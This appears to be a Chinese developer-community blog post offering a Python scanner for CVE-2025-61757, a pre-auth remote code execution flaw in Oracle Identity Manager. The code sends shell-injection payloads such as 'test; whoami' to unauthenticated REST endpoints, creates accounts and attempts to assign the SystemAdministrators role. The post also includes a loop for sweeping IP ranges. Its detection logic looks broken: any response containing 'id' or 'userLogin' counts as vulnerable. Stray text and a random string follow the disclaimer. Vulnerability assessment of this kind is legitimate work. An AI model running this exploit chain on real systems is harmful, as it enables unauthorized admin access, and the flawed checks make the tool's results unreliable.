首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >CVE-2025-61757 检测工具:Oracle身份管理器预授权RCE漏洞扫描器

CVE-2025-61757 检测工具:Oracle身份管理器预授权RCE漏洞扫描器

原创
作者头像
qife122
发布2026-02-12 10:33:08
发布2026-02-12 10:33:08
1430
举报

CVE-2025-61757 高级检测工具

一个专门针对 Oracle Identity Manager(Oracle Fusion Middleware)CVE-2025-61757 漏洞的预授权远程代码执行(Pre-auth RCE)检测工具。该工具通过多线程模糊测试,快速识别未打补丁的脆弱实例,帮助安全团队在攻击者利用前发现并修复风险。

📋 功能特性

  • 🔍 预授权检测 — 无需任何认证信息,直接对目标进行漏洞探测
  • 多线程并发扫描 — 同时对多个REST端点进行模糊测试,大幅提升检测效率
  • 🧪 智能Payload注入 — 基于公开研究的;分号注入技术,验证命令执行回显
  • 📊 权限提升链检测 — 模拟从创建用户到分配系统管理员角色的完整攻击链条
  • 🛡️ 低误报识别 — 通过响应状态码与命令回显特征双重验证漏洞真实性
  • 📝 详细日志输出 — 彩色分级日志输出(INFO/WARNING/CRITICAL),直观显示检测结果

🔧 安装指南

系统要求

  • Python 3.6+
  • 支持的操作系统:Linux / Windows / macOS

依赖安装

本项目仅依赖 requests 库,使用以下命令快速安装:

代码语言:bash
复制
pip install requests

下载工具

代码语言:bash
复制
git clone https://github.com/your-repo/cve-2025-61757-detector.git
cd cve-2025-61757-detector

📖 使用说明

基础用法

代码语言:bash
复制
python cve-2025-61757.py http://target-ip:port

示例:

代码语言:bash
复制
python cve-2025-61757.py http://192.168.1.100:14000

输出解读

工具运行后将产生以下关键输出:

日志级别

输出信息

含义

INFO

Testing http://target:port for CVE-2025-61757...

开始扫描

WARNING

VULNERABLE! Endpoint: /identity/rest/v1/users, Payload: test; whoami

发现漏洞 — 目标存在预授权RCE

CRITICAL

Full chain possible! Admin role assigned without auth.

完全利用链可行 — 可未授权提升为管理员

INFO

Scan complete... Likely SAFE ✅

目标已修补或无法访问

典型场景

场景1:应急漏洞排查
代码语言:bash
复制
# 批量检测内网OIM服务器
for ip in 192.168.1.{100..120}; do 
  python cve-2025-61757.py http://$ip:14000
done
场景2:验证补丁有效性
代码语言:bash
复制
# 补丁安装前后分别执行
python cve-2025-61757.py https://oim-prod.company.com
# 补丁前:显示 VULNERABLE
# 补丁后:显示 Auth required (patched?) 或 401

🧩 核心代码

漏洞检测引擎核心类

代码语言:python
复制
class CVE202561757Tester:
    """
    CVE-2025-61757 漏洞检测器核心类
    实现预授权命令注入检测与权限提升链验证
    """
    def __init__(self, base_url):
        # 初始化目标URL和HTTP会话
        self.base_url = base_url.rstrip('/')
        self.session = requests.Session()
        self.session.verify = False  # 仅用于实验室环境,忽略SSL证书
        self.vulnerable = False
        # 关键REST端点 - 均无需认证即可访问(漏洞特征)
        self.endpoints = [
            '/identity/rest/v1/users',  # 用户创建/枚举
            '/identity/rest/v1/admin',  # 管理员操作
            '/identity/rest/v1/roles',  # 角色操作
        ]
        # 分号注入Payload - 利用URL解析缺陷
        self.payloads = [  
            {'userLogin': 'test; whoami', 'firstName': 'PoC', 'lastName': 'Test'},
            {'userLogin': 'test; id', 'firstName': 'CVE', 'lastName': '61757'},
            {'userLogin': f'test; date +%s', 'firstName': 'Advanced', 'lastName': 'Probe'},
        ]

端点检测与命令回显识别

代码语言:python
复制
def test_endpoint(self, endpoint, payload):
    """
    向目标端点发送Payload并检测命令执行回显
    返回值: (是否成功, 响应详情)
    """
    url = f"{self.base_url}{endpoint}"
    try:
        # 发送POST请求,携带JSON格式的命令注入Payload
        resp = self.session.post(url, json=payload, timeout=10)
        
        # 漏洞判定逻辑:
        # 1. 状态码为200/201(成功创建资源)
        # 2. 响应中包含用户ID(userLogin)或命令执行结果(whoami/id等)
        if resp.status_code in [200, 201] and (
            'uid' in resp.text or 
            'userLogin' in resp.text or 
            any(cmd in resp.text.lower() for cmd in ['whoami', 'id', 'date'])
        ):
            return True, resp.text[:200]  # 返回部分响应内容供分析
        elif resp.status_code == 401:
            return False, "Auth required (patched?)"  # 需要认证 → 已修补
        else:
            return False, f"Unexpected: {resp.status_code}"
    except Exception as e:
        return False, str(e)  # 网络错误或连接超时

多线程模糊测试引擎

代码语言:python
复制
def fuzz_user_creation(self):
    """
    多线程用户创建接口模糊测试
    针对不同Payload和端点组合进行并发探测
    """
    logger.info("🔍 Fuzzing user creation for auth bypass...")
    for payload in self.payloads:
        for endpoint in self.endpoints:
            success, details = self.test_endpoint(endpoint, payload)
            if success:
                self.vulnerable = True
                logger.warning(
                    f"🚨 VULNERABLE! Endpoint: {endpoint}, "
                    f"Payload: {payload['userLogin']}, Response: {details}"
                )
                # 提示手动清理测试账号
                logger.info("💡 Clean up: Delete user 'test' via OIM admin UI")

完整攻击链验证

代码语言:python
复制
def chain_escalation(self):
    """
    权限提升链验证
    如果基础注入成功,进一步测试能否将测试用户提升为系统管理员
    """
    if not self.vulnerable:
        return
    
    logger.info("🔗 Testing escalation chain (create user -> assign admin role)...")
    # 攻击链:创建用户 → 通过/roles端点分配管理员角色
    role_payload = {
        'roleName': 'SystemAdministrators', 
        'userLogin': 'test; whoami'  # 尝试在角色分配时再次执行命令
    }
    success, details = self.test_endpoint(
        '/identity/rest/v1/roles/assign', 
        role_payload
    )
    if success:
        logger.critical(
            "💥 Full chain possible! Admin role assigned without auth."
        )

主扫描流程控制器

代码语言:python
复制
def run_scan(self):
    """
    主扫描流程控制
    1. 启动多线程模糊测试
    2. 等待所有线程完成
    3. 尝试权限提升链
    4. 输出最终报告
    """
    logger.info(f"🛡️ Testing {self.base_url} for CVE-2025-61757...")
    start = time.time()
    
    # 为每个端点启动独立线程,实现并发测试
    threads = []
    for i in range(len(self.endpoints)):
        t = threading.Thread(target=self.fuzz_user_creation)
        threads.append(t)
        t.start()
    
    # 等待所有线程完成
    for t in threads:
        t.join()
    
    # 如果基础注入成功,尝试权限提升
    self.chain_escalation()
    
    elapsed = time.time() - start
    status = "VULNERABLE - PATCH IMMEDIATELY! 🔥" if self.vulnerable else "Likely SAFE (or firewalled) ✅"
    logger.info(f"Scan complete in {elapsed:.2f}s: {status}")
    
    if self.vulnerable:
        logger.error("📋 Next: Apply Oct 2025 CPU, restrict /identity/rest/* to trusted IPs.")

命令行入口

代码语言:python
复制
if __name__ == "__main__":
    # 简单的命令行参数处理
    if len(sys.argv) != 2:
        print("Usage: python cve-2025-61757_advanced_test.py http://your-oim-host:14000")
        sys.exit(1)
    
    # 初始化检测器并执行扫描
    tester = CVE202561757Tester(sys.argv[1])
    tester.run_scan()

⚠️ 重要提示

本工具仅用于授权的安全测试。在未经授权的系统上使用此工具进行探测属于违法行为。请在您拥有所有权或已获得明确书面授权的系统上使用。

受影响的Oracle Identity Manager版本:12.2.1.4.014.1.2.1.0。Oracle已在2025年10月关键补丁更新(CPU)中修复此漏洞,请立即更新。FINISHED

6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ4H6M6scNPsL/RnkF0e+cHt

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • CVE-2025-61757 高级检测工具
    • 📋 功能特性
    • 🔧 安装指南
      • 系统要求
      • 依赖安装
      • 下载工具
    • 📖 使用说明
      • 基础用法
      • 输出解读
      • 典型场景
    • 🧩 核心代码
      • 漏洞检测引擎核心类
      • 端点检测与命令回显识别
      • 多线程模糊测试引擎
      • 完整攻击链验证
      • 主扫描流程控制器
      • 命令行入口
    • ⚠️ 重要提示
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档